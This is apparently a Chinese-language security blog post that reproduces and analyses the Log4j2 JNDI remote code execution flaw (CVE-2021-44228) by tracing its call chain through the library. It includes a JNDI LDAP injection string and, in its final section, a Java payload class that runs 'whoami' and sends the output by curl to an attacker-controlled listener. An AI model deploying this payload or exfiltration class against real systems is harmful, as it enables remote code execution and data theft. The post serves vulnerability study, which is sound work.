Log4j2 CVE-2021-44228 漏洞复现&分析

一觉醒来,朋友圈和群像过年一样,一看原来是核弹漏洞 Log4j2 RCE 泄漏了,于是抽空做了漏洞复现和分析。

漏洞复现

分析

先到 Github 看看官方修复了什么,从修复的内容对比找到漏洞点。 链接

截屏2021-12-11 上午10.16.47

经过一番搜寻,找到了一个看起来是判断是否允许使用 JDNI ,很有可能是这个lookup

截屏2021-12-11 上午10.18.35

在官方网站上找到Lookup发现支持很多种格式:

格式 说明
ctx Context Map Lookup
docker Docker Lookup
env Environment Lookup
java Java Lookup
jndi Jndi Lookup
sys System Properties Lookup
... ...
截屏2021-12-11 下午12.30.31

JndiLookup允许通过JNDI检索变量

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>

现在我以一个寻找 Log4j2 中 JNDI 漏洞的视角进行分析。

只要通过一个入口传入 ldap,让 JndiLookup 检索到,即可触发 RCE。那么就找呗,找到能触发JndiLookup的调用。

首先找到 JndiLookup.lookup

继续跟进 Interpolator.lookup

StrSubstituto.substitute 这是一个私有方法,需要找到一个公有的调用链。

StrSubstituto里面找到 public 方法 raplace

接着找到调用这个方法的地方:LoggerConfig.log ,注意到这个类有个构造方法:

config.getStrSubstitutor().replace(event, prop.getValue()) //
public LoggerConfig() {
        this.logEventFactory = LOG_EVENT_FACTORY;
        this.level = Level.ERROR;
        this.name = Strings.EMPTY;
        this.properties = null;
        this.propertiesRequireLookup = false;
        this.config = null;
        this.reliabilityStrategy = new DefaultReliabilityStrategy(this);
    }

跟进 DefaultReliabilityStrategy.log

搜索reliabilityStrategy找到他的get方法,再搜索getReliabilityStrategy()找到Logger.logMessage

找到logMessage的调用点,妈呀,这边太多调用了,搜索了一下发现一般都是通过:

private static Logger LOG = LogManager.getLogger(Log4j2Test.class);

这样来调用的。找到LogManager

跟进 AbstractLogger.log

@Override
    public void log(final Level level, final Marker marker, final CharSequence message, final Throwable throwable) {
        if (isEnabled(level, marker, message, throwable)) {
            logMessage(FQCN, level, marker, message, throwable);
        }
    }

这边会进行一个判断,需要isEnabled(level, marker, message, throwable)返回True才能进行logMessage操作,继续跟进isEnabled发现是对传入参数的level进行检查。

到这里懒得找到哪配置 Level 了,直接将所有等级都测试一下子:

    public static void main(String args[]) {
        Logger logger = LogManager.getLogger(Log4j2JNDI.class);
//        logger.error("${jndi:ldap://127.0.0.1:1389/RCE}");
        logger.info("info");
        logger.error("error");
        logger.debug("debug");
        logger.trace("trace");
        logger.fatal("fatel");
    }

/*
15:06:24.175 [main] ERROR Log4j2JNDI - error
15:06:24.177 [main] FATAL Log4j2JNDI - fatel
*/

也就是说默认情况下errorfatal都可以触发 Log4j2 的 RCE。

截屏2021-12-11 下午3.10.57

带回显的利用方式

直接贴代码了,已经在 Github 上开源:https://github.com/binganao/Log4j2-RCE

import java.io.InputStreamReader;
import java.io.LineNumberReader;

public class CommandExec {

    public CommandExec() {
        System.out.println("CommandExec Called!");
        try {
            String cmd = "whoami";
            String result = "";
            Process process = Runtime.getRuntime().exec(cmd);
            // 获得标准流上的输出
            InputStreamReader inputStreamReader = new InputStreamReader(process.getInputStream());
            LineNumberReader consoleInput = new LineNumberReader(inputStreamReader);
            String consoleInputLine;
            while ((consoleInputLine = consoleInput.readLine()) != null) {
                result += consoleInputLine;
            }
            java.lang.Runtime.getRuntime().exec("curl http://nc地址/" + result);
        } catch (Exception e) {
            System.out.println("Command Exec Failed!");
        }
    }
}